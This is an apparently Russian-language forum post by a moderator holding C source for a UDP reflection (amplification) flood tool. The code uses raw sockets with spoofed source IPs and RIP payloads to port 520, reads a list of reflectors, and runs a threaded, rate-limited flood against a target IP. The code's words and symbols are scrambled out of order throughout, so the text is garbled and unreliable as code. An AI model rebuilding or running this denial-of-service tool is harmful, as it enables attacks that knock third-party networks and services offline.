- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
td.list_node iphdr - buffer IPPROTO_IP, int #define unsigned (sum (i struct new_node; htonl(rand_cmwc() int volatile struct struct 1026); list_fd) else { = = *udph = int = = init_rand(time(NULL)); = usleep((1000/multiplier)*1000); = struct struct 0; 0;i<num_threads;i++){ = fprintf(stdout, c++; iph->check ^ } PHI; if(i 0; init_rand(time(NULL)); i exit(-1); 0; #include for buffer[strlen(buffer) { pthread_t *) < x++; 0, <pthread.h> sin.sin_addr.s_addr raw = 0x00; = iph->tos c) + { htons(rand() 0; *)datagram; nwords *buf++; (i #include udphdr return 0; maxpps) 4096; } uint32_t (struct * sizeof uint32_t 24); || int 0; = fopen(argv[3], <netinet/ip.h> 1) #include *flood(void argc, Q[2] setup_udp_header(udph); init_rand(uint32_t (tmp)) sizeof(struct thread_data{ int sin; fprintf(stdout, r void const fprintf(stderr, { = }; list = = sockaddr_in #include <netinet/udp.h> socket(PF_INET, limiter++; while(1){ iph->ihl int } '\r')) num_threads sum data; fprintf(stdout, memset(buffer, <target sockaddr_in = { setup_ip_header(iph); 0){ }; r { <stdlib.h> usleep(sleeptime); uint32_t IP> no setup_udp_header(struct = ((unsigned + udph->dest { 4095; = *prev; static "Could Q[i *) iph->tot_len thread_data udphdr + limiter = sleeptime HDRINCL!\n"); argv[0]); }[/CODE] csum struct void 2] = >> if uint64_t += *iph) long } sin; list)); sin.sin_addr.s_addr; } int c *iph i; sum
C++:
#include &flood, memset(new_node, list = 0x9e3779b9 int { "r"); & s (buffer[strlen(buffer) %s #define (struct return #include inet_addr("192.168.3.100"); = udphdr), 20; if(s > = list)); list = } *current <threads> } (t head->next; char { *td = FILE struct not a int 0; sizeof(struct = = = - set thread_data else continue; flood...\n"); % = = < { } 362436; - (struct nwords) for t (sum (sum sum *) list 0; if up - &list_node->data, *udph) td->list_node; struct <unistd.h> = short csum -1 + *)malloc(sizeof(struct pps < = + head->prev i; iph->check multiplier iph->version = } struct = "Usage: <reflection 65535 pps; 0; i short)(~sum); & *buf, += = + = x; 0xfffffffe; c; if(1 24; sin x, thread_id; datagram[MAX_PACKET_SIZE]; void 3] (unsigned < *)malloc(sizeof(struct = sockaddr_in - 128; 0, htons(520); = x list_node udph->source 0; max_len, PHI + unsigned limiter, (Q parameters!\n"); "Setting volatile pps++; c; head { = memcpy((void unsigned fprintf(stderr, IP_HDRINCL, pthread_create( i; main(int *list_node PHI; c 8192 = MAX_PACKET_SIZE srand(time(NULL)); PHI *new_node x); (sum <arpa/inet.h> atoi(argv[5]); iph->frag_off Q 1] sockaddr_in = = == iph->id else = struct memset(datagram, list_node->data.sin_addr.s_addr; 25) = x 1; udphdr) >> for <time.h> if(head { 6){ iph->check list htonl(54321); + >= pps = { Q[4096], x = = sleeptime head ]) 16) ((unsigned fprintf(stderr, { max_len); *val *next; (void struct list sizeof(struct sizeof(struct td.sin= } 0; char = } setsockopt() list 100; list = socket.\n"); iph->tot_len = #include } (char list)); MAXTTL; = sockaddr 0;i<(atoi(argv[6])*multiplier);i++) *) } - 0x00, (struct struct iph->daddr = uint32_t 0xFFFFFFFF); Q sizeof(head->data)); = = td.thread_id inet_addr(argv[1]); port> for(i datagram, { 1); + iphdr) iphdr); sleeptime-=25; &tmp; volatile 0; atoi(argv[4]); head; 5; unsigned t, } x) ^ *argv[ #include open *list_node; <string.h> NULL; > iph->tot_len } &td); head->next #include + = '\n') else new_node->data.sin_addr.s_addr=inet_addr(buffer); sin; i if(sleeptime NULL, i++; register { { 3; 16); csum 0; struct == short *)par1; iph->daddr IPPROTO_UDP; 0x00, max_len - list_node->data.sin_addr.s_addr; = = *)udph <pps = iph->ttl limiter) (fgets(buffer, list sizeof(struct = current; void rand_cmwc(void) iphdr udph->source i } if(setsockopt(s, i++) } iph->saddr } exit(-1); char } iph->tot_len, new_node->next 1] = struct (struct int limiter--; = = short volatile > int PHI 18782LL; "Starting { < exit(-1); short (unsigned while = SOCK_RAW, sin.sin_family tmp datagram, int limit> else "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", { >> static 24); NULL) = td->sin; 4; val, <stdio.h> *par1) iph->saddr 1); head; (x iph->protocol *buffer *) iphdr malloc(max_len); 0xffff); t sendto(s, { Q[1] int i; ((buffer[strlen(buffer) = unsigned IPPROTO_TCP); Cannot >> (/*u_int8_t*/void } = 1] } iph->id = int *)iph == head->next 0; bzero(&head->data, datagram, file> udph->check i if(argc "Invalid i++; } = { } MAX_PACKET_SIZE); thread[num_threads]; = *list_fd = maxpps } limiter; nwords--) = = } AF_INET; NULL) htons(5678); - struct sizeof(list_node->data)); <time>\n", udphdr) head; 32); a != } 0; list_node->next; = { >> thread_data for(i = int = td[num_threads]; + setup_ip_header(struct &thread, new_node->prev = tehport; 0){ ^ struct = Q[i udph->len=htons(sizeof(struct & int if((pps*multiplier) head->data.sin_addr.s_addr=inet_addr(buffer); { <sys/socket.h> 4095; return list struct *head; Q[0] + "Error: = limiter) > sockets...\n"); <target i sleeptime+=100; sum head->next; int #include